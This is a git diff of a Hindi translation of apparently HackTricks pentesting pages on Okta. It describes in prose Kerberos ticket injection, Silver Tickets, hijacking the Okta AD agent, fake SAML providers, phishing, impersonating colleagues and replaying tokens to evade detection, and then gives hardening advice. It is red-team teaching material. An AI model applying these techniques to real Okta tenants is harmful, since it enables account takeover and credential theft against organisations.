+यदि **`companyname.kerberos.okta.com`** सक्रिय है, तो **Okta पहुंच के लिए Kerberos का उपयोग किया जाता है**, आमतौर पर **Windows** उपयोगकर्ताओं के लिए **MFA** को बायपास करते हुए। AD में Kerberos-प्रमाणित Okta उपयोगकर्ताओं को खोजने के लिए, **`getST.py`** को **उपयुक्त पैरामीटर** के साथ चलाएं। एक **AD उपयोगकर्ता टिकट** प्राप्त करने के बाद, इसे नियंत्रित होस्ट में **Rubeus** या **Mimikatz** जैसे उपकरणों का उपयोग करके **इंजेक्ट** करें, यह सुनिश्चित करते हुए कि **`clientname.kerberos.okta.com` इंटरनेट विकल्प "इंट्रानेट" क्षेत्र में है**। एक विशिष्ट URL तक पहुंचने पर JSON "OK" प्रतिक्रिया लौटनी चाहिए, जो Kerberos टिकट स्वीकृति को दर्शाती है, और Okta डैशबोर्ड तक पहुंच प्रदान करती है।
-**Okta सेवा खाते से समझौता करना और प्रतिनिधित्व SPN एक Silver Ticket हमले को सक्षम करता है।** हालाँकि, Okta के टिकट एन्क्रिप्शन के लिए **AES** का उपयोग करने के लिए AES कुंजी या प्लेनटेक्स्ट पासवर्ड होना आवश्यक है। **`ticketer.py` का उपयोग करें ताकि पीड़ित उपयोगकर्ता के लिए एक टिकट उत्पन्न किया जा सके** और इसे ब्राउज़र के माध्यम से Okta के साथ प्रमाणित करने के लिए वितरित किया जा सके।
+**Okta सेवा खाते को समझौता करना और प्रतिनिधित्व SPN एक सिल्वर टिकट हमले को सक्षम करता है।** हालाँकि, Okta का **AES** का उपयोग टिकट एन्क्रिप्शन के लिए AES कुंजी या प्लेनटेक्स्ट पासवर्ड की आवश्यकता होती है। **`ticketer.py` का उपयोग करें पीड़ित उपयोगकर्ता के लिए एक टिकट उत्पन्न करने के लिए** और इसे Okta के साथ प्रमाणित करने के लिए ब्राउज़र के माध्यम से वितरित करें।
**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
-### Hijacking Okta AD Agent
+### Okta AD एजेंट का हाइजैकिंग
-यह तकनीक **एक सर्वर पर Okta AD एजेंट तक पहुंचने** से संबंधित है, जो **उपयोगकर्ताओं को समन्वयित करता है और प्रमाणीकरण को संभालता है**। **`OktaAgentService.exe.config`** में कॉन्फ़िगरेशन की जांच और डिक्रिप्ट करके, विशेष रूप से AgentToken का उपयोग करके **DPAPI**, एक हमलावर संभावित रूप से **प्रमाणीकरण डेटा को इंटरसेप्ट और हेरफेर** कर सकता है। यह न केवल Okta प्रमाणीकरण प्रक्रिया के दौरान **उपयोगकर्ता क्रेडेंशियल्स** को प्लेनटेक्स्ट में **निगरानी** और **कैप्चर** करने की अनुमति देता है, बल्कि **प्रमाणीकरण प्रयासों** का भी उत्तर देने की अनुमति देता है, जिससे अनधिकृत पहुंच सक्षम होती है या Okta के माध्यम से सार्वभौमिक प्रमाणीकरण प्रदान किया जाता है (जैसे 'कंकाल कुंजी')।
+यह तकनीक **एक सर्वर पर Okta AD एजेंट तक पहुंचने** से संबंधित है, जो **उपयोगकर्ताओं को समन्वयित करता है और प्रमाणीकरण को संभालता है**। **`OktaAgentService.exe.config`** में कॉन्फ़िगरेशन की जांच और डिक्रिप्ट करके, विशेष रूप से **DPAPI** का उपयोग करके AgentToken, एक हमलावर संभावित रूप से **प्रमाणीकरण डेटा को इंटरसेप्ट और हेरफेर** कर सकता है। यह न केवल Okta प्रमाणीकरण प्रक्रिया के दौरान **उपयोगकर्ता क्रेडेंशियल्स** को प्लेनटेक्स्ट में **निगरानी** और **कैप्चर** करने की अनुमति देता है, बल्कि **प्रमाणीकरण प्रयासों** का उत्तर देने की अनुमति भी देता है, जिससे अनधिकृत पहुंच सक्षम होती है या Okta के माध्यम से सार्वभौमिक प्रमाणीकरण प्रदान किया जाता है (जैसे एक 'स्केलेटन की')।
**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
-### Hijacking AD As an Admin
+### AD को व्यवस्थापक के रूप में हाइजैक करना
-यह तकनीक पहले OAuth कोड प्राप्त करके फिर API टोकन का अनुरोध करके Okta AD एजेंट को हाईजैक करने से संबंधित है। टोकन एक AD डोमेन से संबंधित है, और एक **कनेक्टर को एक नकली AD एजेंट स्थापित करने के लिए नामित किया गया है**। प्रारंभिककरण एजेंट को **प्रमाणीकरण प्रयासों को संसाधित करने** की अनुमति देता है, Okta API के माध्यम से क्रेडेंशियल्स को कैप्चर करता है। स्वचालन उपकरण इस प्रक्रिया को सरल बनाने के लिए उपलब्ध हैं, जो Okta वातावरण के भीतर प्रमाणीकरण डेटा को इंटरसेप्ट और संभालने के लिए एक सहज विधि प्रदान करते हैं।
+यह तकनीक पहले एक OAuth कोड प्राप्त करके Okta AD एजेंट को हाइजैक करने से संबंधित है, फिर एक API टोकन का अनुरोध करना। टोकन एक AD डोमेन से संबंधित है, और एक **कनेक्टर को एक नकली AD एजेंट स्थापित करने के लिए नामित किया गया है**। प्रारंभिककरण एजेंट को **प्रमाणीकरण प्रयासों को संसाधित** करने की अनुमति देता है, Okta API के माध्यम से क्रेडेंशियल्स को कैप्चर करता है। स्वचालन उपकरण इस प्रक्रिया को सरल बनाने के लिए उपलब्ध हैं, जो Okta वातावरण के भीतर प्रमाणीकरण डेटा को इंटरसेप्ट और संभालने के लिए एक सहज विधि प्रदान करते हैं।
**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
-### Okta Fake SAML Provider
+### Okta फेक SAML प्रदाता
**हमले की जांच करें** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**।**
-यह तकनीक **एक नकली SAML प्रदाता को तैनात करने** से संबंधित है। एक विशेषाधिकार प्राप्त खाते का उपयोग करके Okta के ढांचे के भीतर एक बाहरी पहचान प्रदाता (IdP) को एकीकृत करके, हमलावर **IdP को नियंत्रित कर सकते हैं, किसी भी प्रमाणीकरण अनुरोध को इच्छानुसार अनुमोदित कर सकते हैं**। प्रक्रिया में Okta में SAML 2.0 IdP सेट करना, स्थानीय होस्ट फ़ाइल के माध्यम से पुनर्निर्देशन के लिए IdP सिंगल साइन-ऑन URL में हेरफेर करना, एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करना, और उपयोगकर्ता नाम या ईमेल के खिलाफ Okta सेटिंग्स को कॉन्फ़िगर करना शामिल है। इन चरणों को सफलतापूर्वक निष्पादित करने से किसी भी Okta उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति मिलती है, व्यक्तिगत उपयोगकर्ता क्रेडेंशियल्स की आवश्यकता को बायपास करते हुए, संभावित रूप से अनदेखी तरीके से पहुंच नियंत्रण को महत्वपूर्ण रूप से बढ़ाता है।
+यह तकनीक **एक नकली SAML प्रदाता को तैनात करने** से संबंधित है। एक विशेषाधिकार प्राप्त खाते का उपयोग करके Okta के ढांचे के भीतर एक बाहरी पहचान प्रदाता (IdP) को एकीकृत करके, हमलावर **IdP को नियंत्रित कर सकते हैं, इच्छानुसार किसी भी प्रमाणीकरण अनुरोध को मंजूरी दे सकते हैं**। प्रक्रिया में Okta में SAML 2.0 IdP सेट करना, स्थानीय होस्ट फ़ाइल के माध्यम से पुनर्निर्देशन के लिए IdP सिंगल साइन-ऑन URL में हेरफेर करना, एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करना, और उपयोगकर्ता नाम या ईमेल के खिलाफ Okta सेटिंग्स को कॉन्फ़िगर करना शामिल है। इन चरणों को सफलतापूर्वक निष्पादित करने से किसी भी Okta उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति मिलती है, व्यक्तिगत उपयोगकर्ता क्रेडेंशियल्स की आवश्यकता को बायपास करते हुए, संभावित रूप से अनदेखी तरीके से पहुंच नियंत्रण को महत्वपूर्ण रूप से बढ़ाता है।
-### Phishing Okta Portal with Evilgnix
+### Evilgnix के साथ Okta पोर्टल का फ़िशिंग
[**इस ब्लॉग पोस्ट**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) में बताया गया है कि Okta पोर्टल के खिलाफ फ़िशिंग अभियान कैसे तैयार करें।
-### Colleague Impersonation Attack
+### सहयोगी अनुकरण हमला
-**प्रत्येक उपयोगकर्ता के पास होने वाले और संशोधित करने योग्य विशेषताएँ** (जैसे ईमेल या पहले नाम) Okta में कॉन्फ़िगर की जा सकती हैं। यदि एक **अनुप्रयोग** एक **विशेषता** के रूप में ID पर **भरोसा** करता है जिसे उपयोगकर्ता **संशोधित** कर सकता है, तो वह उस प्लेटफ़ॉर्म में अन्य उपयोगकर्ताओं का **नकली रूप धारण** करने में सक्षम होगा।
+**प्रत्येक उपयोगकर्ता के पास होने और संशोधित करने के लिए विशेषताएँ** (जैसे ईमेल या पहला नाम) Okta में कॉन्फ़िगर की जा सकती हैं। यदि एक **अनुप्रयोग** एक **विशेषता** के रूप में ID पर **भरोसा** करता है जिसे उपयोगकर्ता **संशोधित** कर सकता है, तो वह उस प्लेटफ़ॉर्म में **अन्य उपयोगकर्ताओं का अनुकरण** करने में सक्षम होगा।
-इसलिए, यदि ऐप **`userName`** फ़ील्ड पर भरोसा कर रहा है, तो आप संभवतः इसे बदलने में सक्षम नहीं होंगे (क्योंकि आप आमतौर पर उस फ़ील्ड को नहीं बदल सकते), लेकिन यदि यह उदाहरण के लिए **`primaryEmail`** पर भरोसा कर रहा है, तो आप इसे **एक सहयोगी के ईमेल पते** में बदलने में सक्षम हो सकते हैं और उसका नकली रूप धारण कर सकते हैं (आपको ईमेल तक पहुंच प्राप्त करनी होगी और परिवर्तन को स्वीकार करना होगा)।
+इसलिए, यदि अनुप्रयोग **`userName`** फ़ील्ड पर भरोसा कर रहा है, तो आप संभवतः इसे बदलने में सक्षम नहीं होंगे (क्योंकि आप आमतौर पर उस फ़ील्ड को नहीं बदल सकते), लेकिन यदि यह उदाहरण के लिए **`primaryEmail`** पर भरोसा कर रहा है, तो आप इसे **एक सहयोगी के ईमेल पते** में बदलने में सक्षम हो सकते हैं और इसका अनुकरण कर सकते हैं (आपको ईमेल तक पहुंच प्राप्त करनी होगी और परिवर्तन को स्वीकार करना होगा)।
-ध्यान दें कि यह नकली रूप धारण करना इस बात पर निर्भर करता है कि प्रत्येक अनुप्रयोग को कैसे कॉन्फ़िगर किया गया था। केवल वही जो आपने संशोधित किया है उस फ़ील्ड पर भरोसा करते हैं और अपडेट स्वीकार करते हैं, वे समझौता किए जाएंगे।\
-इसलिए, यदि यह फ़ील्ड मौजूद है तो ऐप को इसे सक्षम करना चाहिए:
+ध्यान दें कि यह अनुकरण इस बात पर निर्भर करता है कि प्रत्येक अनुप्रयोग को कैसे कॉन्फ़िगर किया गया था। केवल वही जो आपने संशोधित किया है उस फ़ील्ड पर भरोसा करते हैं और अपडेट स्वीकार करते हैं, वे समझौता किए जाएंगे।\
+इसलिए, यदि यह फ़ील्ड मौजूद है तो अनुप्रयोग को इसे सक्षम करना चाहिए:
-मैंने अन्य ऐप्स को भी देखा है जो कमजोर थे लेकिन Okta सेटिंग्स में वह फ़ील्ड नहीं थी (अंत में विभिन्न ऐप्स को अलग-अलग तरीके से कॉन्फ़िगर किया गया है)।
+मैंने अन्य अनुप्रयोगों को भी देखा है जो कमजोर थे लेकिन Okta सेटिंग्स में वह फ़ील्ड नहीं थी (अंत में विभिन्न अनुप्रयोगों को अलग-अलग तरीके से कॉन्फ़िगर किया गया है)।
-यह पता लगाने का सबसे अच्छा तरीका कि क्या आप प्रत्येक ऐप पर किसी का भी नकली रूप धारण कर सकते हैं, यह प्रयास करना होगा!
+यह जानने का सबसे अच्छा तरीका कि क्या आप प्रत्येक अनुप्रयोग पर किसी का अनुकरण कर सकते हैं, इसे आजमाना होगा!
-## Evading behavioural detection policies
+## व्यवहारिक पहचान नीतियों से बचना
-Okta में व्यवहारिक पहचान नीतियाँ तब तक अज्ञात हो सकती हैं जब तक कि उनका सामना न किया जाए, लेकिन **उन्हें बायपास करना** **Okta अनुप्रयोगों को सीधे लक्षित करके** किया जा सकता है, मुख्य Okta डैशबोर्ड से बचते हुए। एक **Okta एक्सेस टोकन** के साथ, मुख्य लॉगिन पृष्ठ के बजाय **अनुप्रयोग-विशिष्ट Okta URL** पर टोकन को पुनः चलाएं।
+Okta में व्यवहारिक पहचान नीतियाँ तब तक अज्ञात हो सकती हैं जब तक कि उनका सामना न किया जाए, लेकिन उन्हें **प्रत्यक्ष रूप से Okta अनुप्रयोगों को लक्षित करके** बायपास किया जा सकता है, मुख्य Okta डैशबोर्ड से बचते हुए। एक **Okta एक्सेस टोकन** के साथ, मुख्य लॉगिन पृष्ठ के बजाय **अनुप्रयोग-विशिष्ट Okta URL** पर टोकन को पुनः चलाएं।
मुख्य सिफारिशों में शामिल हैं:
@@ -98,15 +98,15 @@ Okta में व्यवहारिक पहचान नीतियाँ
- Okta डैशबोर्ड के खिलाफ टोकनों को पुनः चलाते समय सावधानी बरतें।
- यदि पीड़ित कंपनी के IP पते के बारे में पता है, तो **उन IPs या उनके रेंज तक ट्रैफ़िक को सीमित करें**, सभी अन्य ट्रैफ़िक को ब्लॉक करें।
-## Okta Hardening
+## Okta हार्डनिंग
-Okta में कई संभावित कॉन्फ़िगरेशन हैं, इस पृष्ठ पर आप उन्हें इस तरह से समीक्षा करना सीखेंगे कि वे यथासंभव सुरक्षित हों:
+Okta में कई संभावित कॉन्फ़िगरेशन हैं, इस पृष्ठ पर आप उन्हें इस तरह से समीक्षा कर सकते हैं कि वे यथासंभव सुरक्षित हों:
{{#ref}}
okta-hardening.md
{{#endref}}
-## References
+## संदर्भ
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index f6c8060d9..8b2903c26 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,38 +6,38 @@
### People
-हमलावर के दृष्टिकोण से, यह बहुत दिलचस्प है क्योंकि आप **सभी पंजीकृत उपयोगकर्ताओं** को देख सकेंगे, उनके **ईमेल** पते, वे **समूह** जिनका वे हिस्सा हैं, **प्रोफाइल** और यहां तक कि **डिवाइस** (मोबाइल और उनके OS) भी देख सकेंगे।
+हमलावर के दृष्टिकोण से, यह बहुत दिलचस्प है क्योंकि आप **सभी पंजीकृत उपयोगकर्ताओं** को देख सकेंगे, उनके **ईमेल** पते, वे **समूह** जिनका वे हिस्सा हैं, **प्रोफाइल** और यहां तक कि **डिवाइस** (मोबाइल और उनके OS)।
एक व्हाइटबॉक्स समीक्षा के लिए जांचें कि "**लंबित उपयोगकर्ता क्रिया**" और "**पासवर्ड रीसेट**" नहीं हैं।
### Groups
यहां आप Okta में बनाए गए सभी समूहों को पाएंगे। यह समझना दिलचस्प है कि विभिन्न समूहों (**अनुमतियों** का सेट) को **उपयोगकर्ताओं** को दिया जा सकता है।\
-यह देखना संभव है कि **समूहों में शामिल लोग** और **प्रत्येक समूह को असाइन किए गए ऐप्स** कौन से हैं।
+यह देखना संभव है कि **समूहों में शामिल लोग** और **प्रत्येक समूह को असाइन किए गए ऐप्स** क्या हैं।
-बेशक, **admin** नाम वाले किसी भी समूह में दिलचस्पी है, विशेष रूप से समूह **Global Administrators,** सदस्यों की जांच करें ताकि यह जान सकें कि सबसे विशेषाधिकार प्राप्त सदस्य कौन हैं।
+बेशक, **admin** नाम वाले किसी भी समूह में दिलचस्पी है, विशेष रूप से समूह **Global Administrators,** सदस्यों की जांच करें ताकि यह पता चल सके कि सबसे विशेषाधिकार प्राप्त सदस्य कौन हैं।
-एक व्हाइटबॉक्स समीक्षा से, वहां **5 से अधिक वैश्विक प्रशासक नहीं होने चाहिए** (यदि केवल 2 या 3 हैं तो बेहतर है)।
+एक व्हाइटबॉक्स समीक्षा से, **5 से अधिक वैश्विक प्रशासक नहीं होने चाहिए** (यदि केवल 2 या 3 हैं तो बेहतर है)।
### Devices
-यहां सभी उपयोगकर्ताओं के **सभी उपकरणों की सूची** पाएंगे। आप यह भी देख सकते हैं कि इसे **सक्रिय रूप से प्रबंधित** किया जा रहा है या नहीं।
+यहां सभी उपयोगकर्ताओं के **सभी उपकरणों की सूची** प्राप्त करें। आप यह भी देख सकते हैं कि इसे **सक्रिय रूप से प्रबंधित** किया जा रहा है या नहीं।
### Profile Editor
-यहां यह देखना संभव है कि कैसे महत्वपूर्ण जानकारी जैसे पहले नाम, अंतिम नाम, ईमेल, उपयोगकर्ता नाम... Okta और अन्य अनुप्रयोगों के बीच साझा की जाती है। यह दिलचस्प है क्योंकि यदि एक उपयोगकर्ता **Okta में एक फ़ील्ड** (जैसे उसका नाम या ईमेल) को **संशोधित** कर सकता है, जो फिर एक **बाहरी अनुप्रयोग** द्वारा उपयोगकर्ता की **पहचान** के लिए उपयोग किया जाता है, तो एक अंदरूनी व्यक्ति अन्य खातों को **अपने कब्जे में लेने** की कोशिश कर सकता है।
+यहां यह देखना संभव है कि कैसे प्रमुख जानकारी जैसे पहले नाम, अंतिम नाम, ईमेल, उपयोगकर्ता नाम... Okta और अन्य अनुप्रयोगों के बीच साझा की जाती है। यह दिलचस्प है क्योंकि यदि एक उपयोगकर्ता **Okta में एक फ़ील्ड** (जैसे उसका नाम या ईमेल) को **संशोधित** कर सकता है, जिसका उपयोग एक **बाहरी अनुप्रयोग** द्वारा उपयोगकर्ता की **पहचान** के लिए किया जाता है, तो एक अंदरूनी व्यक्ति अन्य खातों को **अपने कब्जे में लेने** की कोशिश कर सकता है।
-इसके अलावा, Okta के प्रोफाइल **`User (default)`** में आप देख सकते हैं कि प्रत्येक **उपयोगकर्ता** के पास **कौन से फ़ील्ड** हैं और कौन से **उपयोगकर्ताओं द्वारा लिखने योग्य** हैं। यदि आप व्यवस्थापक पैनल नहीं देख सकते हैं, तो बस **अपनी प्रोफाइल** जानकारी को अपडेट करने के लिए जाएं और आप देखेंगे कि आप कौन से फ़ील्ड अपडेट कर सकते हैं (ध्यान दें कि एक ईमेल पते को अपडेट करने के लिए आपको इसे सत्यापित करने की आवश्यकता होगी)।
+इसके अलावा, Okta के प्रोफाइल **`User (default)`** में आप देख सकते हैं कि प्रत्येक **उपयोगकर्ता** के पास **कौन से फ़ील्ड** हैं और कौन से **उपयोगकर्ताओं द्वारा लिखने योग्य** हैं। यदि आप व्यवस्थापक पैनल नहीं देख सकते हैं, तो बस **अपनी प्रोफाइल** जानकारी को अपडेट करने के लिए जाएं और आप देखेंगे कि आप कौन से फ़ील्ड अपडेट कर सकते हैं (ध्यान दें कि एक ईमेल पते को अपडेट करने के लिए आपको इसकी पुष्टि करनी होगी)।
### Directory Integrations
डायरेक्टरीज़ आपको मौजूदा स्रोतों से लोगों को आयात करने की अनुमति देती हैं। मुझे लगता है कि यहां आप अन्य डायरेक्टरीज़ से आयातित उपयोगकर्ताओं को देखेंगे।
-मैंने इसे नहीं देखा है, लेकिन मुझे लगता है कि यह पता लगाने के लिए दिलचस्प है कि **Okta अन्य डायरेक्टरीज़ का उपयोग कर रहा है** ताकि यदि आप **उस डायरेक्टरी को समझौता** कर लें, तो आप Okta में बनाए गए उपयोगकर्ताओं के लिए कुछ विशेषताओं के मान सेट कर सकें और **शायद Okta वातावरण को समझौता** कर सकें।
+मैंने इसे नहीं देखा है, लेकिन मुझे लगता है कि यह पता लगाने के लिए दिलचस्प है कि **Okta अन्य डायरेक्टरीज़ का उपयोग कर रहा है** ताकि यदि आप **उस डायरेक्टरी को समझौता** कर लें, तो आप Okta में बनाए गए उपयोगकर्ताओं में कुछ विशेषताओं के मान सेट कर सकें और **शायद Okta वातावरण को समझौता कर सकें**।
### Profile Sources
-एक प्रोफाइल स्रोत एक **ऐप्लिकेशन है जो उपयोगकर्ता प्रोफाइल विशेषताओं के लिए सत्यता का स्रोत** के रूप में कार्य करता है। एक उपयोगकर्ता केवल एक समय में एक ही ऐप्लिकेशन या डायरेक्टरी द्वारा स्रोत किया जा सकता है।
+एक प्रोफाइल स्रोत एक **ऐसा अनुप्रयोग है जो उपयोगकर्ता प्रोफाइल विशेषताओं के लिए सत्य का स्रोत** के रूप में कार्य करता है। एक उपयोगकर्ता केवल एक समय में एक ही अनुप्रयोग या डायरेक्टरी द्वारा स्रोत किया जा सकता है।
मैंने इसे नहीं देखा है, इसलिए इस विकल्प के संबंध में सुरक्षा और हैकिंग के बारे में कोई भी जानकारी सराहनीय है।
@@ -67,7 +67,7 @@
यहां आप सभी **कॉन्फ़िगर किए गए अनुप्रयोगों** और उनके विवरण को पा सकते हैं: किसके पास उन तक पहुंच है, यह कैसे कॉन्फ़िगर किया गया है (SAML, OPenID), लॉगिन के लिए URL, Okta और अनुप्रयोग के बीच मैपिंग...
-**`Sign On`** टैब में एक फ़ील्ड भी है जिसे **`Password reveal`** कहा जाता है जो एक उपयोगकर्ता को अनुप्रयोग सेटिंग्स की जांच करते समय **अपना पासवर्ड प्रकट** करने की अनुमति देगा। उपयोगकर्ता पैनल से एक अनुप्रयोग की सेटिंग्स की जांच करने के लिए, 3 बिंदुओं पर क्लिक करें:
+**`Sign On`** टैब में एक फ़ील्ड भी है जिसे **`Password reveal`** कहा जाता है जो एक उपयोगकर्ता को अनुप्रयोग सेटिंग्स की जांच करते समय **अपना पासवर्ड प्रकट** करने की अनुमति देगा। उपयोगकर्ता पैनल से किसी अनुप्रयोग की सेटिंग्स की जांच करने के लिए, 3 बिंदुओं पर क्लिक करें:
@@ -79,7 +79,7 @@
### Access Certifications
-Access Certifications का उपयोग करें ताकि आप अपने उपयोगकर्ताओं की संसाधनों तक पहुंच की समीक्षा करने के लिए ऑडिट अभियान बना सकें और आवश्यक होने पर स्वचालित रूप से पहुंच को अनुमोदित या रद्द कर सकें।
+Access Certifications का उपयोग करें ताकि आप अपने उपयोगकर्ताओं की संसाधनों तक पहुंच की समीक्षा करने के लिए ऑडिट अभियान बना सकें और आवश्यक होने पर स्वचालित रूप से पहुंच को मंजूरी या रद्द कर सकें।
मैंने इसका उपयोग होते नहीं देखा है, लेकिन मुझे लगता है कि एक रक्षात्मक दृष्टिकोण से यह एक अच्छा फीचर है।
@@ -91,7 +91,7 @@ Access Certifications का उपयोग करें ताकि आप
- **CAPTCHA एकीकरण**: कम से कम अदृश्य reCaptcha सेट करना अनुशंसित है
- **संगठन सुरक्षा**: सब कुछ सक्षम किया जा सकता है और सक्रियण ईमेल को लंबे समय तक नहीं रहना चाहिए (7 दिन ठीक है)
- **उपयोगकर्ता गणना रोकथाम**: दोनों को सक्षम होना चाहिए
-- ध्यान दें कि उपयोगकर्ता गणना रोकथाम तब प्रभावी नहीं होती यदि निम्नलिखित में से कोई भी स्थिति अनुमति दी जाती है (अधिक जानकारी के लिए [उपयोगकर्ता प्रबंधन](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) देखें):
+- ध्यान दें कि उपयोगकर्ता गणना रोकथाम तब प्रभावी नहीं होती यदि निम्नलिखित में से कोई भी स्थिति अनुमति दी जाती है (अधिक जानकारी के लिए [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) देखें):
- स्व-सेवा पंजीकरण
- ईमेल प्रमाणीकरण के साथ JIT प्रवाह
- **Okta ThreatInsight सेटिंग्स**: खतरे के स्तर के आधार पर सुरक्षा को लॉग और लागू करें
@@ -102,7 +102,7 @@ Access Certifications का उपयोग करें ताकि आप
### Authenticators
-यहां आप सभी प्रमाणीकरण विधियों को पा सकते हैं जो एक उपयोगकर्ता उपयोग कर सकता है: पासवर्ड, फोन, ईमेल, कोड, WebAuthn... पासवर्ड प्रमाणीकरण में क्लिक करने पर आप **पासवर्ड नीति** देख सकते हैं। जांचें कि यह मजबूत है।
+यहां आप सभी प्रमाणीकरण विधियों को पा सकते हैं जिनका उपयोग एक उपयोगकर्ता कर सकता है: पासवर्ड, फोन, ईमेल, कोड, WebAuthn... पासवर्ड प्रमाणीकरण में क्लिक करने पर आप **पासवर्ड नीति** देख सकते हैं। जांचें कि यह मजबूत है।
**Enrollment** टैब में आप देख सकते हैं कि कौन से आवश्यक या वैकल्पिक हैं:
@@ -112,9 +112,9 @@ Access Certifications का उपयोग करें ताकि आप
### Authentication policies
-हर ऐप का एक प्रमाणीकरण नीति होती है। प्रमाणीकरण नीति यह सत्यापित करती है कि जो उपयोगकर्ता ऐप में साइन इन करने की कोशिश कर रहे हैं वे विशिष्ट शर्तों को पूरा करते हैं, और यह उन शर्तों के आधार पर कारक आवश्यकताओं को लागू करती है।
+हर ऐप की एक प्रमाणीकरण नीति होती है। प्रमाणीकरण नीति यह सत्यापित करती है कि जो उपयोगकर्ता ऐप में साइन इन करने का प्रयास कर रहे हैं वे विशिष्ट शर्तों को पूरा करते हैं, और यह उन शर्तों के आधार पर कारक आवश्यकताओं को लागू करती है।
-यहां आप **प्रत्येक अनुप्रयोग तक पहुंचने की आवश्यकताएं** पा सकते हैं। प्रत्येक अनुप्रयोग के लिए कम से कम पासवर्ड और एक अन्य विधि का अनुरोध करना अनुशंसित है। लेकिन यदि आप हमलावर के रूप में कुछ कमजोर पाते हैं तो आप इसे हमले के लिए उपयोग कर सकते हैं।
+यहां आप **प्रत्येक अनुप्रयोग तक पहुंचने की आवश्यकताएँ** पा सकते हैं। प्रत्येक अनुप्रयोग के लिए कम से कम पासवर्ड और एक अन्य विधि का अनुरोध करना अनुशंसित है। लेकिन यदि आप हमलावर के रूप में कुछ कमजोर पाते हैं तो आप इसे हमले के लिए उपयोग कर सकते हैं।
### Global Session Policy
@@ -122,13 +122,13 @@ Access Certifications का उपयोग करें ताकि आप
-MFA का अनुरोध करना, सत्र की अवधि को कुछ घंटों तक सीमित करना, ब्राउज़र एक्सटेंशन के बीच सत्र कुकीज़ को बनाए न रखना और स्थान और पहचान प्रदाता को सीमित करना अनुशंसित है (यदि यह संभव है)। उदाहरण के लिए, यदि प्रत्येक उपयोगकर्ता को एक देश से लॉगिन करना चाहिए, तो आप केवल इस स्थान की अनुमति दे सकते हैं।
+MFA का अनुरोध करना, सत्र की अवधि को कुछ घंटों तक सीमित करना, ब्राउज़र एक्सटेंशन के बीच सत्र कुकीज़ को बनाए न रखना और स्थान और पहचान प्रदाता को सीमित करना (यदि यह संभव है) अनुशंसित है। उदाहरण के लिए, यदि प्रत्येक उपयोगकर्ता को एक देश से लॉगिन करना चाहिए, तो आप केवल इस स्थान की अनुमति दे सकते हैं।
### Identity Providers
-पहचान प्रदाता (IdPs) सेवाएं हैं जो **उपयोगकर्ता खातों का प्रबंधन** करती हैं। Okta में IdPs जोड़ने से आपके अंत उपयोगकर्ताओं को पहले एक सामाजिक खाते या स्मार्ट कार्ड के साथ प्रमाणीकरण करके आपके कस्टम अनुप्रयोगों के साथ **स्व-पंजीकरण** करने की अनुमति मिलती है।
+पहचान प्रदाता (IdPs) सेवाएँ हैं जो **उपयोगकर्ता खातों का प्रबंधन** करती हैं। Okta में IdPs जोड़ने से आपके अंत उपयोगकर्ताओं को एक सामाजिक खाते या स्मार्ट कार्ड के साथ पहले प्रमाणीकरण करके आपके कस्टम अनुप्रयोगों के साथ **स्व-पंजीकरण** करने की अनुमति मिलती है।
-पहचान प्रदाताओं के पृष्ठ पर, आप सामाजिक लॉगिन (IdPs) जोड़ सकते हैं और इनबाउंड SAML जोड़कर Okta को एक सेवा प्रदाता (SP) के रूप में कॉन्फ़िगर कर सकते हैं। एक बार जब आप IdPs जोड़ लेते हैं, तो आप उपयोगकर्ताओं को एक IdP की ओर निर्देशित करने के लिए रूटिंग नियम सेट कर सकते हैं, जैसे उपयोगकर्ता का स्थान, डिवाइस, या ईमेल डोमेन।
+पहचान प्रदाताओं के पृष्ठ पर, आप सामाजिक लॉगिन (IdPs) जोड़ सकते हैं और इनबाउंड SAML जोड़कर Okta को एक सेवा प्रदाता (SP) के रूप में कॉन्फ़िगर कर सकते हैं। एक बार जब आप IdPs जोड़ लेते हैं, तो आप उपयोगकर्ताओं को संदर्भ के आधार पर IdP पर निर्देशित करने के लिए रूटिंग नियम सेट कर सकते हैं, जैसे उपयोगकर्ता का स्थान, डिवाइस, या ईमेल डोमेन।
**यदि कोई पहचान प्रदाता कॉन्फ़िगर किया गया है** तो हमलावर और रक्षक के दृष्टिकोण से उस कॉन्फ़िगरेशन की जांच करें और **यदि स्रोत वास्तव में विश्वसनीय है** क्योंकि एक हमलावर इसे समझौता कर सकता है और Okta वातावरण तक पहुंच प्राप्त कर सकता है।
@@ -136,37 +136,37 @@ MFA का अनुरोध करना, सत्र की अवधि क
प्रतिनिधि प्रमाणीकरण उपयोगकर्ताओं को अपने संगठन के **Active Directory (AD) या LDAP** सर्वर के लिए क्रेडेंशियल दर्ज करके Okta में साइन इन करने की अनुमति देता है।
-फिर से, इसे पुनः जांचें, क्योंकि एक हमलावर जो एक संगठन के AD को समझौता कर सकता है, इस सेटिंग के कारण Okta में पिवट करने में सक्षम हो सकता है।
+फिर से, इसे फिर से जांचें, क्योंकि एक हमलावर यदि किसी संगठन के AD को समझौता कर लेता है तो वह इस सेटिंग के कारण Okta में पिवट करने में सक्षम हो सकता है।
### Network
